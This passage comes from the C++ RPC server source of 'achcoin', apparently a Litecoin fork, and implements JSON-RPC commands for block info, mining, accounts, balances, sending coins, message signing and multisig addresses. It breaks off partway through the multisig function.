// Copyright (c) 2011-2012 The Litecoin Developers
// Copyright (c) 2013 adam m.
// Distributed under the MIT/X11 software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "main.h"
#include "wallet.h"
#include "db.h"
#include "walletdb.h"
#include "net.h"
#include "init.h"
#include "ui_interface.h"
#include "base58.h"
#include "bitcoinrpc.h"
#undef printf
#include <boost/asio.hpp>
#include <boost/asio/ip/v6_only.hpp>
#include <boost/bind.hpp>
#include <boost/filesystem.hpp>
#include <boost/foreach.hpp>
#include <boost/iostreams/concepts.hpp>
#include <boost/iostreams/stream.hpp>
#include <boost/algorithm/string.hpp>
#include <boost/lexical_cast.hpp>
#include <boost/asio/ssl.hpp>
#include <boost/filesystem/fstream.hpp>
#include <boost/shared_ptr.hpp>
#include <list>
#define printf OutputDebugStringF
using namespace std;
using namespace boost;
using namespace boost::asio;
using namespace json_spirit;
void ThreadRPCServer2(void* parg);
static std::string strRPCUserColonPass;
static int64 nWalletUnlockTime;
static CCriticalSection cs_nWalletUnlockTime;
extern Value getconnectioncount(const Array& params, bool fHelp); // in rpcnet.cpp
extern Value getpeerinfo(const Array& params, bool fHelp);
extern Value dumpprivkey(const Array& params, bool fHelp); // in rpcdump.cpp
extern Value importprivkey(const Array& params, bool fHelp);
extern Value getrawtransaction(const Array& params, bool fHelp); // in rcprawtransaction.cpp
extern Value listunspent(const Array& params, bool fHelp);
extern Value createrawtransaction(const Array& params, bool fHelp);
extern Value decoderawtransaction(const Array& params, bool fHelp);
extern Value signrawtransaction(const Array& params, bool fHelp);
extern Value sendrawtransaction(const Array& params, bool fHelp);
const Object emptyobj;
void ThreadRPCServer3(void* parg);
Object JSONRPCError(int code, const string& message)
{
Object error;
error.push_back(Pair("code", code));
error.push_back(Pair("message", message));
return error;
}
void RPCTypeCheck(const Array& params,
const list<Value_type>& typesExpected)
{
unsigned int i = 0;
BOOST_FOREACH(Value_type t, typesExpected)
{
if (params.size() <= i)
break;
const Value& v = params[i];
if (v.type() != t)
{
string err = strprintf("Expected type %s, got %s",
Value_type_name[t], Value_type_name[v.type()]);
throw JSONRPCError(-3, err);
}
i++;
}
}
void RPCTypeCheck(const Object& o,
const map<string, Value_type>& typesExpected)
{
BOOST_FOREACH(const PAIRTYPE(string, Value_type)& t, typesExpected)
{
const Value& v = find_value(o, t.first);
if (v.type() == null_type)
throw JSONRPCError(-3, strprintf("Missing %s", t.first.c_str()));
if (v.type() != t.second)
{
string err = strprintf("Expected type %s for %s, got %s",
Value_type_name[t.second], t.first.c_str(), Value_type_name[v.type()]);
throw JSONRPCError(-3, err);
}
}
}
double GetDifficulty(const CBlockIndex* blockindex = NULL)
{
// Floating point number that is a multiple of the minimum difficulty,
// minimum difficulty = 1.0.
if (blockindex == NULL)
{
if (pindexBest == NULL)
return 1.0;
else
blockindex = pindexBest;
}
int nShift = (blockindex->nBits >> 24) & 0xff;
double dDiff =
(double)0x0000ffff / (double)(blockindex->nBits & 0x00ffffff);
while (nShift < 29)
{
dDiff *= 256.0;
nShift++;
}
while (nShift > 29)
{
dDiff /= 256.0;
nShift--;
}
return dDiff;
}
int64 AmountFromValue(const Value& value)
{
double dAmount = value.get_real();
if (dAmount <= 0.0 || dAmount > 84000000.0)
throw JSONRPCError(-3, "Invalid amount");
int64 nAmount = roundint64(dAmount * COIN);
if (!MoneyRange(nAmount))
throw JSONRPCError(-3, "Invalid amount");
return nAmount;
}
Value ValueFromAmount(int64 amount)
{
return (double)amount / (double)COIN;
}
std::string
HexBits(unsigned int nBits)
{
union {
int32_t nBits;
char cBits[4];
} uBits;
uBits.nBits = htonl((int32_t)nBits);
return HexStr(BEGIN(uBits.cBits), END(uBits.cBits));
}
std::string
HelpRequiringPassphrase()
{
return pwalletMain->IsCrypted()
? "\nrequires wallet passphrase to be set with walletpassphrase first"
: "";
}
void
EnsureWalletIsUnlocked()
{
if (pwalletMain->IsLocked())
throw JSONRPCError(-13, "Error: Please enter the wallet passphrase with walletpassphrase first.");
}
void WalletTxToJSON(const CWalletTx& wtx, Object& entry)
{
int confirms = wtx.GetDepthInMainChain();
entry.push_back(Pair("confirmations", confirms));
if (confirms)
{
entry.push_back(Pair("blockhash", wtx.hashBlock.GetHex()));
entry.push_back(Pair("blockindex", wtx.nIndex));
}
entry.push_back(Pair("txid", wtx.GetHash().GetHex()));
entry.push_back(Pair("time", (boost::int64_t)wtx.GetTxTime()));
BOOST_FOREACH(const PAIRTYPE(string,string)& item, wtx.mapValue)
entry.push_back(Pair(item.first, item.second));
}
string AccountFromValue(const Value& value)
{
string strAccount = value.get_str();
if (strAccount == "*")
throw JSONRPCError(-11, "Invalid account name");
return strAccount;
}
Object blockToJSON(const CBlock& block, const CBlockIndex* blockindex)
{
Object result;
result.push_back(Pair("hash", block.GetHash().GetHex()));
CMerkleTx txGen(block.vtx[0]);
txGen.SetMerkleBranch(&block);
result.push_back(Pair("confirmations", (int)txGen.GetDepthInMainChain()));
result.push_back(Pair("size", (int)::GetSerializeSize(block, SER_NETWORK, PROTOCOL_VERSION)));
result.push_back(Pair("height", blockindex->nHeight));
result.push_back(Pair("version", block.nVersion));
result.push_back(Pair("merkleroot", block.hashMerkleRoot.GetHex()));
Array txs;
BOOST_FOREACH(const CTransaction&tx, block.vtx)
txs.push_back(tx.GetHash().GetHex());
result.push_back(Pair("tx", txs));
result.push_back(Pair("time", (boost::int64_t)block.GetBlockTime()));
result.push_back(Pair("nonce", (boost::uint64_t)block.nNonce));
result.push_back(Pair("bits", HexBits(block.nBits)));
result.push_back(Pair("difficulty", GetDifficulty(blockindex)));
if (blockindex->pprev)
result.push_back(Pair("previousblockhash", blockindex->pprev->GetBlockHash().GetHex()));
if (blockindex->pnext)
result.push_back(Pair("nextblockhash", blockindex->pnext->GetBlockHash().GetHex()));
return result;
}
/// Note: This interface may still be subject to change.
string CRPCTable::help(string strCommand) const
{
string strRet;
set<rpcfn_type> setDone;
for (map<string, const CRPCCommand*>::const_iterator mi = mapCommands.begin(); mi != mapCommands.end(); ++mi)
{
const CRPCCommand *pcmd = mi->second;
string strMethod = mi->first;
// We already filter duplicates, but these deprecated screw up the sort order
if (strMethod.find("label") != string::npos)
continue;
if (strCommand != "" && strMethod != strCommand)
continue;
try
{
Array params;
rpcfn_type pfn = pcmd->actor;
if (setDone.insert(pfn).second)
(*pfn)(params, true);
}
catch (std::exception& e)
{
// Help text is returned in an exception
string strHelp = string(e.what());
if (strCommand == "")
if (strHelp.find('\n') != string::npos)
strHelp = strHelp.substr(0, strHelp.find('\n'));
strRet += strHelp + "\n";
}
}
if (strRet == "")
strRet = strprintf("help: unknown command: %s\n", strCommand.c_str());
strRet = strRet.substr(0,strRet.size()-1);
return strRet;
}
Value help(const Array& params, bool fHelp)
{
if (fHelp || params.size() > 1)
throw runtime_error(
"help [command]\n"
"List commands, or get help for a command.");
string strCommand;
if (params.size() > 0)
strCommand = params[0].get_str();
return tableRPC.help(strCommand);
}
Value stop(const Array& params, bool fHelp)
{
if (fHelp || params.size() != 0)
throw runtime_error(
"stop\n"
"Stop achcoin server.");
// Shutdown will take long enough that the response should get back
StartShutdown();
return "achcoin server has now stopped running!";
}
Value getblockcount(const Array& params, bool fHelp)
{
if (fHelp || params.size() != 0)
throw runtime_error(
"getblockcount\n"
"Returns the number of blocks in the longest block chain.");
return nBestHeight;
}
Value getdifficulty(const Array& params, bool fHelp)
{
if (fHelp || params.size() != 0)
throw runtime_error(
"getdifficulty\n"
"Returns the proof-of-work difficulty as a multiple of the minimum difficulty.");
return GetDifficulty();
}
// Litecoin: Return average network hashes per second based on last number of blocks.
Value GetNetworkHashPS(int lookup) {
if (pindexBest == NULL)
return 0;
// If lookup is -1, then use blocks since last difficulty change.
if (lookup <= 0)
lookup = pindexBest->nHeight % 2016 + 1;
// If lookup is larger than chain, then set it to chain length.
if (lookup > pindexBest->nHeight)
lookup = pindexBest->nHeight;
CBlockIndex* pindexPrev = pindexBest;
for (int i = 0; i < lookup; i++)
pindexPrev = pindexPrev->pprev;
double timeDiff = pindexBest->GetBlockTime() - pindexPrev->GetBlockTime();
double timePerBlock = timeDiff / lookup;
return (boost::int64_t)(((double)GetDifficulty() * pow(2.0, 32)) / timePerBlock);
}
Value getnetworkhashps(const Array& params, bool fHelp)
{
if (fHelp || params.size() > 1)
throw runtime_error(
"getnetworkhashps [blocks]\n"
"Returns the estimated network hashes per second based on the last 120 blocks.\n"
"Pass in [blocks] to override # of blocks, -1 specifies since last difficulty change.");
return GetNetworkHashPS(params.size() > 0 ? params[0].get_int() : 120);
}
Value getgenerate(const Array& params, bool fHelp)
{
if (fHelp || params.size() != 0)
throw runtime_error(
"getgenerate\n"
"Returns true or false.");
return GetBoolArg("-gen");
}
Value setgenerate(const Array& params, bool fHelp)
{
if (fHelp || params.size() < 1 || params.size() > 2)
throw runtime_error(
"setgenerate <generate> [genproclimit]\n"
"<generate> is true or false to turn generation on or off.\n"
"Generation is limited to [genproclimit] processors, -1 is unlimited.");
bool fGenerate = true;
if (params.size() > 0)
fGenerate = params[0].get_bool();
if (params.size() > 1)
{
int nGenProcLimit = params[1].get_int();
mapArgs["-genproclimit"] = itostr(nGenProcLimit);
if (nGenProcLimit == 0)
fGenerate = false;
}
mapArgs["-gen"] = (fGenerate ? "1" : "0");
GenerateBitcoins(fGenerate, pwalletMain);
return Value::null;
}
Value gethashespersec(const Array& params, bool fHelp)
{
if (fHelp || params.size() != 0)
throw runtime_error(
"gethashespersec\n"
"Returns a recent hashes per second performance measurement while generating.");
if (GetTimeMillis() - nHPSTimerStart > 8000)
return (boost::int64_t)0;
return (boost::int64_t)dHashesPerSec;
}
Value getinfo(const Array& params, bool fHelp)
{
if (fHelp || params.size() != 0)
throw runtime_error(
"getinfo\n"
"Returns an object containing various state info.");
CService addrProxy;
GetProxy(NET_IPV4, addrProxy);
Object obj;
obj.push_back(Pair("version", (int)CLIENT_VERSION));
obj.push_back(Pair("protocolversion",(int)PROTOCOL_VERSION));
obj.push_back(Pair("walletversion", pwalletMain->GetVersion()));
obj.push_back(Pair("balance", ValueFromAmount(pwalletMain->GetBalance())));
obj.push_back(Pair("blocks", (int)nBestHeight));
obj.push_back(Pair("connections", (int)vNodes.size()));
obj.push_back(Pair("proxy", (addrProxy.IsValid() ? addrProxy.ToStringIPPort() : string())));
obj.push_back(Pair("difficulty", (double)GetDifficulty()));
obj.push_back(Pair("testnet", fTestNet));
obj.push_back(Pair("keypoololdest", (boost::int64_t)pwalletMain->GetOldestKeyPoolTime()));
obj.push_back(Pair("keypoolsize", pwalletMain->GetKeyPoolSize()));
obj.push_back(Pair("paytxfee", ValueFromAmount(nTransactionFee)));
obj.push_back(Pair("mininput", ValueFromAmount(nMinimumInputValue)));
if (pwalletMain->IsCrypted())
obj.push_back(Pair("unlocked_until", (boost::int64_t)nWalletUnlockTime / 1000));
obj.push_back(Pair("errors", GetWarnings("statusbar")));
return obj;
}
Value getmininginfo(const Array& params, bool fHelp)
{
if (fHelp || params.size() != 0)
throw runtime_error(
"getmininginfo\n"
"Returns an object containing mining-related information.");
Object obj;
obj.push_back(Pair("blocks", (int)nBestHeight));
obj.push_back(Pair("currentblocksize",(uint64_t)nLastBlockSize));
obj.push_back(Pair("currentblocktx",(uint64_t)nLastBlockTx));
obj.push_back(Pair("difficulty", (double)GetDifficulty()));
obj.push_back(Pair("errors", GetWarnings("statusbar")));
obj.push_back(Pair("generate", GetBoolArg("-gen")));
obj.push_back(Pair("genproclimit", (int)GetArg("-genproclimit", -1)));
obj.push_back(Pair("hashespersec", gethashespersec(params, false)));
obj.push_back(Pair("networkhashps", getnetworkhashps(params, false)));
obj.push_back(Pair("pooledtx", (uint64_t)mempool.size()));
obj.push_back(Pair("testnet", fTestNet));
return obj;
}
Value getnewaddress(const Array& params, bool fHelp)
{
if (fHelp || params.size() > 1)
throw runtime_error(
"getnewaddress [account]\n"
"Returns a new achcoin address for receiving payments. "
"If [account] is specified (recommended), it is added to the address book "
"so payments received with the address will be credited to [account].");
// Parse the account first so we don't generate a key if there's an error
string strAccount;
if (params.size() > 0)
strAccount = AccountFromValue(params[0]);
if (!pwalletMain->IsLocked())
pwalletMain->TopUpKeyPool();
// Generate a new key that is added to wallet
CPubKey newKey;
if (!pwalletMain->GetKeyFromPool(newKey, false))
throw JSONRPCError(-12, "Error: Keypool ran out, please call keypoolrefill first");
CKeyID keyID = newKey.GetID();
pwalletMain->SetAddressBookName(keyID, strAccount);
return CBitcoinAddress(keyID).ToString();
}
CBitcoinAddress GetAccountAddress(string strAccount, bool bForceNew=false)
{
CWalletDB walletdb(pwalletMain->strWalletFile);
CAccount account;
walletdb.ReadAccount(strAccount, account);
bool bKeyUsed = false;
// Check if the current key has been used
if (account.vchPubKey.IsValid())
{
CScript scriptPubKey;
scriptPubKey.SetDestination(account.vchPubKey.GetID());
for (map<uint256, CWalletTx>::iterator it = pwalletMain->mapWallet.begin();
it != pwalletMain->mapWallet.end() && account.vchPubKey.IsValid();
++it)
{
const CWalletTx& wtx = (*it).second;
BOOST_FOREACH(const CTxOut& txout, wtx.vout)
if (txout.scriptPubKey == scriptPubKey)
bKeyUsed = true;
}
}
// Generate a new key
if (!account.vchPubKey.IsValid() || bForceNew || bKeyUsed)
{
if (!pwalletMain->GetKeyFromPool(account.vchPubKey, false))
throw JSONRPCError(-12, "Error: Keypool ran out, please call keypoolrefill first");
pwalletMain->SetAddressBookName(account.vchPubKey.GetID(), strAccount);
walletdb.WriteAccount(strAccount, account);
}
return CBitcoinAddress(account.vchPubKey.GetID());
}
Value getaccountaddress(const Array& params, bool fHelp)
{
if (fHelp || params.size() != 1)
throw runtime_error(
"getaccountaddress <account>\n"
"Returns the current achcoin address for receiving payments to this account.");
// Parse the account first so we don't generate a key if there's an error
string strAccount = AccountFromValue(params[0]);
Value ret;
ret = GetAccountAddress(strAccount).ToString();
return ret;
}
Value setaccount(const Array& params, bool fHelp)
{
if (fHelp || params.size() < 1 || params.size() > 2)
throw runtime_error(
"setaccount <achcoin address> <account>\n"
"Sets the account associated with the given address.");
CBitcoinAddress address(params[0].get_str());
if (!address.IsValid())
throw JSONRPCError(-5, "Invalid achcoin address");
string strAccount;
if (params.size() > 1)
strAccount = AccountFromValue(params[1]);
// Detect when changing the account of an address that is the 'unused current key' of another account:
if (pwalletMain->mapAddressBook.count(address.Get()))
{
string strOldAccount = pwalletMain->mapAddressBook[address.Get()];
if (address == GetAccountAddress(strOldAccount))
GetAccountAddress(strOldAccount, true);
}
pwalletMain->SetAddressBookName(address.Get(), strAccount);
return Value::null;
}
Value getaccount(const Array& params, bool fHelp)
{
if (fHelp || params.size() != 1)
throw runtime_error(
"getaccount <achcoin address>\n"
"Returns the account associated with the given address.");
CBitcoinAddress address(params[0].get_str());
if (!address.IsValid())
throw JSONRPCError(-5, "Invalid achcoin address");
string strAccount;
map<CTxDestination, string>::iterator mi = pwalletMain->mapAddressBook.find(address.Get());
if (mi != pwalletMain->mapAddressBook.end() && !(*mi).second.empty())
strAccount = (*mi).second;
return strAccount;
}
Value getaddressesbyaccount(const Array& params, bool fHelp)
{
if (fHelp || params.size() != 1)
throw runtime_error(
"getaddressesbyaccount <account>\n"
"Returns the list of addresses for the given account.");
string strAccount = AccountFromValue(params[0]);
// Find all addresses that have the given account
Array ret;
BOOST_FOREACH(const PAIRTYPE(CBitcoinAddress, string)& item, pwalletMain->mapAddressBook)
{
const CBitcoinAddress& address = item.first;
const string& strName = item.second;
if (strName == strAccount)
ret.push_back(address.ToString());
}
return ret;
}
Value settxfee(const Array& params, bool fHelp)
{
if (fHelp || params.size() < 1 || params.size() > 1)
throw runtime_error(
"settxfee <amount>\n"
"<amount> is a real and is rounded to the nearest 0.00000001");
// Amount
int64 nAmount = 0;
if (params[0].get_real() != 0.0)
nAmount = AmountFromValue(params[0]); // rejects 0.0 amounts
nTransactionFee = nAmount;
return true;
}
Value setmininput(const Array& params, bool fHelp)
{
if (fHelp || params.size() < 1 || params.size() > 1)
throw runtime_error(
"setmininput <amount>\n"
"<amount> is a real and is rounded to the nearest 0.00000001");
// Amount
int64 nAmount = 0;
if (params[0].get_real() != 0.0)
nAmount = AmountFromValue(params[0]); // rejects 0.0 amounts
nMinimumInputValue = nAmount;
return true;
}
Value sendtoaddress(const Array& params, bool fHelp)
{
if (fHelp || params.size() < 2 || params.size() > 4)
throw runtime_error(
"sendtoaddress <achcoin address> <amount> [comment] [comment-to]\n"
"<amount> is a real and is rounded to the nearest 0.00000001"
+ HelpRequiringPassphrase());
CBitcoinAddress address(params[0].get_str());
if (!address.IsValid())
throw JSONRPCError(-5, "Invalid achcoin address");
// Amount
int64 nAmount = AmountFromValue(params[1]);
// Wallet comments
CWalletTx wtx;
if (params.size() > 2 && params[2].type() != null_type && !params[2].get_str().empty())
wtx.mapValue["comment"] = params[2].get_str();
if (params.size() > 3 && params[3].type() != null_type && !params[3].get_str().empty())
wtx.mapValue["to"] = params[3].get_str();
if (pwalletMain->IsLocked())
throw JSONRPCError(-13, "Error: Please enter the wallet passphrase with walletpassphrase first.");
string strError = pwalletMain->SendMoneyToDestination(address.Get(), nAmount, wtx);
if (strError != "")
throw JSONRPCError(-4, strError);
return wtx.GetHash().GetHex();
}
Value signmessage(const Array& params, bool fHelp)
{
if (fHelp || params.size() != 2)
throw runtime_error(
"signmessage <achcoin address> <message>\n"
"Sign a message with the private key of an address");
EnsureWalletIsUnlocked();
string strAddress = params[0].get_str();
string strMessage = params[1].get_str();
CBitcoinAddress addr(strAddress);
if (!addr.IsValid())
throw JSONRPCError(-3, "Invalid address");
CKeyID keyID;
if (!addr.GetKeyID(keyID))
throw JSONRPCError(-3, "Address does not refer to key");
CKey key;
if (!pwalletMain->GetKey(keyID, key))
throw JSONRPCError(-4, "Private key not available");
CDataStream ss(SER_GETHASH, 0);
ss << strMessageMagic;
ss << strMessage;
vector<unsigned char> vchSig;
if (!key.SignCompact(Hash(ss.begin(), ss.end()), vchSig))
throw JSONRPCError(-5, "Sign failed");
return EncodeBase64(&vchSig[0], vchSig.size());
}
Value verifymessage(const Array& params, bool fHelp)
{
if (fHelp || params.size() != 3)
throw runtime_error(
"verifymessage <achcoin address> <signature> <message>\n"
"Verify a signed message");
string strAddress = params[0].get_str();
string strSign = params[1].get_str();
string strMessage = params[2].get_str();
CBitcoinAddress addr(strAddress);
if (!addr.IsValid())
throw JSONRPCError(-3, "Invalid address");
CKeyID keyID;
if (!addr.GetKeyID(keyID))
throw JSONRPCError(-3, "Address does not refer to key");
bool fInvalid = false;
vector<unsigned char> vchSig = DecodeBase64(strSign.c_str(), &fInvalid);
if (fInvalid)
throw JSONRPCError(-5, "Malformed base64 encoding");
CDataStream ss(SER_GETHASH, 0);
ss << strMessageMagic;
ss << strMessage;
CKey key;
if (!key.SetCompactSignature(Hash(ss.begin(), ss.end()), vchSig))
return false;
return (key.GetPubKey().GetID() == keyID);
}
Value getreceivedbyaddress(const Array& params, bool fHelp)
{
if (fHelp || params.size() < 1 || params.size() > 2)
throw runtime_error(
"getreceivedbyaddress <achcoin address> [minconf=1]\n"
"Returns the total amount received by <achcoin address> in transactions with at least [minconf] confirmations.");
// achcoin address
CBitcoinAddress address = CBitcoinAddress(params[0].get_str());
CScript scriptPubKey;
if (!address.IsValid())
throw JSONRPCError(-5, "Invalid achcoin address");
scriptPubKey.SetDestination(address.Get());
if (!IsMine(*pwalletMain,scriptPubKey))
return (double)0.0;
// Minimum confirmations
int nMinDepth = 1;
if (params.size() > 1)
nMinDepth = params[1].get_int();
// Tally
int64 nAmount = 0;
for (map<uint256, CWalletTx>::iterator it = pwalletMain->mapWallet.begin(); it != pwalletMain->mapWallet.end(); ++it)
{
const CWalletTx& wtx = (*it).second;
if (wtx.IsCoinBase() || !wtx.IsFinal())
continue;
BOOST_FOREACH(const CTxOut& txout, wtx.vout)
if (txout.scriptPubKey == scriptPubKey)
if (wtx.GetDepthInMainChain() >= nMinDepth)
nAmount += txout.nValue;
}
return ValueFromAmount(nAmount);
}
void GetAccountAddresses(string strAccount, set<CTxDestination>& setAddress)
{
BOOST_FOREACH(const PAIRTYPE(CTxDestination, string)& item, pwalletMain->mapAddressBook)
{
const CTxDestination& address = item.first;
const string& strName = item.second;
if (strName == strAccount)
setAddress.insert(address);
}
}
Value getreceivedbyaccount(const Array& params, bool fHelp)
{
if (fHelp || params.size() < 1 || params.size() > 2)
throw runtime_error(
"getreceivedbyaccount <account> [minconf=1]\n"
"Returns the total amount received by addresses with <account> in transactions with at least [minconf] confirmations.");
// Minimum confirmations
int nMinDepth = 1;
if (params.size() > 1)
nMinDepth = params[1].get_int();
// Get the set of pub keys assigned to account
string strAccount = AccountFromValue(params[0]);
set<CTxDestination> setAddress;
GetAccountAddresses(strAccount, setAddress);
// Tally
int64 nAmount = 0;
for (map<uint256, CWalletTx>::iterator it = pwalletMain->mapWallet.begin(); it != pwalletMain->mapWallet.end(); ++it)
{
const CWalletTx& wtx = (*it).second;
if (wtx.IsCoinBase() || !wtx.IsFinal())
continue;
BOOST_FOREACH(const CTxOut& txout, wtx.vout)
{
CTxDestination address;
if (ExtractDestination(txout.scriptPubKey, address) && IsMine(*pwalletMain, address) && setAddress.count(address))
if (wtx.GetDepthInMainChain() >= nMinDepth)
nAmount += txout.nValue;
}
}
return (double)nAmount / (double)COIN;
}
int64 GetAccountBalance(CWalletDB& walletdb, const string& strAccount, int nMinDepth)
{
int64 nBalance = 0;
// Tally wallet transactions
for (map<uint256, CWalletTx>::iterator it = pwalletMain->mapWallet.begin(); it != pwalletMain->mapWallet.end(); ++it)
{
const CWalletTx& wtx = (*it).second;
if (!wtx.IsFinal())
continue;
int64 nGenerated, nReceived, nSent, nFee;
wtx.GetAccountAmounts(strAccount, nGenerated, nReceived, nSent, nFee);
if (nReceived != 0 && wtx.GetDepthInMainChain() >= nMinDepth)
nBalance += nReceived;
nBalance += nGenerated - nSent - nFee;
}
// Tally internal accounting entries
nBalance += walletdb.GetAccountCreditDebit(strAccount);
return nBalance;
}
int64 GetAccountBalance(const string& strAccount, int nMinDepth)
{
CWalletDB walletdb(pwalletMain->strWalletFile);
return GetAccountBalance(walletdb, strAccount, nMinDepth);
}
Value getbalance(const Array& params, bool fHelp)
{
if (fHelp || params.size() > 2)
throw runtime_error(
"getbalance [account] [minconf=1]\n"
"If [account] is not specified, returns the server's total available balance.\n"
"If [account] is specified, returns the balance in the account.");
if (params.size() == 0)
return ValueFromAmount(pwalletMain->GetBalance());
int nMinDepth = 1;
if (params.size() > 1)
nMinDepth = params[1].get_int();
if (params[0].get_str() == "*") {
// Calculate total balance a different way from GetBalance()
// (GetBalance() sums up all unspent TxOuts)
// getbalance and getbalance '*' should always return the same number.
int64 nBalance = 0;
for (map<uint256, CWalletTx>::iterator it = pwalletMain->mapWallet.begin(); it != pwalletMain->mapWallet.end(); ++it)
{
const CWalletTx& wtx = (*it).second;
if (!wtx.IsFinal())
continue;
int64 allGeneratedImmature, allGeneratedMature, allFee;
allGeneratedImmature = allGeneratedMature = allFee = 0;
string strSentAccount;
list<pair<CTxDestination, int64> > listReceived;
list<pair<CTxDestination, int64> > listSent;
wtx.GetAmounts(allGeneratedImmature, allGeneratedMature, listReceived, listSent, allFee, strSentAccount);
if (wtx.GetDepthInMainChain() >= nMinDepth)
{
BOOST_FOREACH(const PAIRTYPE(CTxDestination,int64)& r, listReceived)
nBalance += r.second;
}
BOOST_FOREACH(const PAIRTYPE(CTxDestination,int64)& r, listSent)
nBalance -= r.second;
nBalance -= allFee;
nBalance += allGeneratedMature;
}
return ValueFromAmount(nBalance);
}
string strAccount = AccountFromValue(params[0]);
int64 nBalance = GetAccountBalance(strAccount, nMinDepth);
return ValueFromAmount(nBalance);
}
Value movecmd(const Array& params, bool fHelp)
{
if (fHelp || params.size() < 3 || params.size() > 5)
throw runtime_error(
"move <fromaccount> <toaccount> <amount> [minconf=1] [comment]\n"
"Move from one account in your wallet to another.");
string strFrom = AccountFromValue(params[0]);
string strTo = AccountFromValue(params[1]);
int64 nAmount = AmountFromValue(params[2]);
if (params.size() > 3)
// unused parameter, used to be nMinDepth, keep type-checking it though
(void)params[3].get_int();
string strComment;
if (params.size() > 4)
strComment = params[4].get_str();
CWalletDB walletdb(pwalletMain->strWalletFile);
if (!walletdb.TxnBegin())
throw JSONRPCError(-20, "database error");
int64 nNow = GetAdjustedTime();
// Debit
CAccountingEntry debit;
debit.strAccount = strFrom;
debit.nCreditDebit = -nAmount;
debit.nTime = nNow;
debit.strOtherAccount = strTo;
debit.strComment = strComment;
walletdb.WriteAccountingEntry(debit);
// Credit
CAccountingEntry credit;
credit.strAccount = strTo;
credit.nCreditDebit = nAmount;
credit.nTime = nNow;
credit.strOtherAccount = strFrom;
credit.strComment = strComment;
walletdb.WriteAccountingEntry(credit);
if (!walletdb.TxnCommit())
throw JSONRPCError(-20, "database error");
return true;
}
Value sendfrom(const Array& params, bool fHelp)
{
if (fHelp || params.size() < 3 || params.size() > 6)
throw runtime_error(
"sendfrom <fromaccount> <to achcoin address> <amount> [minconf=1] [comment] [comment-to]\n"
"<amount> is a real and is rounded to the nearest 0.00000001"
+ HelpRequiringPassphrase());
string strAccount = AccountFromValue(params[0]);
CBitcoinAddress address(params[1].get_str());
if (!address.IsValid())
throw JSONRPCError(-5, "Invalid achcoin address");
int64 nAmount = AmountFromValue(params[2]);
int nMinDepth = 1;
if (params.size() > 3)
nMinDepth = params[3].get_int();
CWalletTx wtx;
wtx.strFromAccount = strAccount;
if (params.size() > 4 && params[4].type() != null_type && !params[4].get_str().empty())
wtx.mapValue["comment"] = params[4].get_str();
if (params.size() > 5 && params[5].type() != null_type && !params[5].get_str().empty())
wtx.mapValue["to"] = params[5].get_str();
EnsureWalletIsUnlocked();
// Check funds
int64 nBalance = GetAccountBalance(strAccount, nMinDepth);
if (nAmount > nBalance)
throw JSONRPCError(-6, "Account has insufficient funds");
// Send
string strError = pwalletMain->SendMoneyToDestination(address.Get(), nAmount, wtx);
if (strError != "")
throw JSONRPCError(-4, strError);
return wtx.GetHash().GetHex();
}
Value sendmany(const Array& params, bool fHelp)
{
if (fHelp || params.size() < 2 || params.size() > 4)
throw runtime_error(
"sendmany <fromaccount> {address:amount,...} [minconf=1] [comment]\n"
"amounts are double-precision floating point numbers"
+ HelpRequiringPassphrase());
string strAccount = AccountFromValue(params[0]);
Object sendTo = params[1].get_obj();
int nMinDepth = 1;
if (params.size() > 2)
nMinDepth = params[2].get_int();
CWalletTx wtx;
wtx.strFromAccount = strAccount;
if (params.size() > 3 && params[3].type() != null_type && !params[3].get_str().empty())
wtx.mapValue["comment"] = params[3].get_str();
set<CBitcoinAddress> setAddress;
vector<pair<CScript, int64> > vecSend;
int64 totalAmount = 0;
BOOST_FOREACH(const Pair& s, sendTo)
{
CBitcoinAddress address(s.name_);
if (!address.IsValid())
throw JSONRPCError(-5, string("Invalid achcoin address:")+s.name_);
if (setAddress.count(address))
throw JSONRPCError(-8, string("Invalid parameter, duplicated address: ")+s.name_);
setAddress.insert(address);
CScript scriptPubKey;
scriptPubKey.SetDestination(address.Get());
int64 nAmount = AmountFromValue(s.value_);
totalAmount += nAmount;
vecSend.push_back(make_pair(scriptPubKey, nAmount));
}
EnsureWalletIsUnlocked();
// Check funds
int64 nBalance = GetAccountBalance(strAccount, nMinDepth);
if (totalAmount > nBalance)
throw JSONRPCError(-6, "Account has insufficient funds");
// Send
CReserveKey keyChange(pwalletMain);
int64 nFeeRequired = 0;
bool fCreated = pwalletMain->CreateTransaction(vecSend, wtx, keyChange, nFeeRequired);
if (!fCreated)
{
if (totalAmount + nFeeRequired > pwalletMain->GetBalance())
throw JSONRPCError(-6, "Insufficient funds");
throw JSONRPCError(-4, "Transaction creation failed");
}
if (!pwalletMain->CommitTransaction(wtx, keyChange))
throw JSONRPCError(-4, "Transaction commit failed");
return wtx.GetHash().GetHex();
}
Value addmultisigaddress(const Array& params, bool fHelp)
{
if (fHelp || params.size() < 2 || params.size() > 3)
{
string msg = "addmultisigaddress <nrequired> <'[\"key\",\"key\"]'> [account]\n"
"Add a nrequired-to-sign multisignature address to the wallet\"\n"
"each key is a achcoin address or hex-encoded public key\n"
"If [account] is specified, assign address to [account].";
throw runtime_error(msg);
}
int nRequired = params[0].get_int();
const Array& keys = params[1].get_array();
string strAccount;
if (params.size() > 2)
strAccount = AccountFromValue(params[2]);
// Gather public keys
if (nRequired < 1)
throw runtime_error("a multisignature address must require at least one key to redeem");
if ((int)keys.size() < nRequired)
throw runtime_error(
strprintf("not enough keys supplied "
"(got %d keys, but need at least %d to redeem)", keys.size(), nRequired));
std::vector<CKey> pubkeys;
pubkeys.resize(keys.size());
for (unsigned int i = 0; i < keys.size(); i++)
{
const std::string& ks = keys[i].get_str();
// Case 1: achcoin address and we have full public key:
CBitcoinAddress address(ks);
if (address.IsValid())
{
CKeyID keyID;
if (!address.GetKeyID(keyID))
throw runtime_error(
strprintf("%s does not refer to a key",ks.c_str()));
CPubKey vchPubKey;
if (!pwalletMain->GetPubKey(keyID, vchPubKey))
throw runtime_error(
strprintf("no full public key for address %s",ks.c_str()));
if (!vchPubKey.IsValid() || !pubkeys[i].SetPubKey(vchPubKey))
throw runtime_error(" Invalid public key: "+ks);
}
// Case 2: hex public key
else if (IsHex(ks))
{
CPubKey vchPubKey(ParseHex(ks));
if (!vchPubKey.IsValid() || !pubkeys[i].SetPubKey(vchPubKey))
throw runtime_error(" Invalid public key: "+ks);
}
else
{
throw runtime_error(" Invalid public key: "+ks);
}
}
// Construct using pay-to-script-hash:
CScript inner;
inner.SetMultisig(nRequired, pubkeys);
CScriptID innerID = inner.GetID();
pwalletMain->AddCScript(inner);
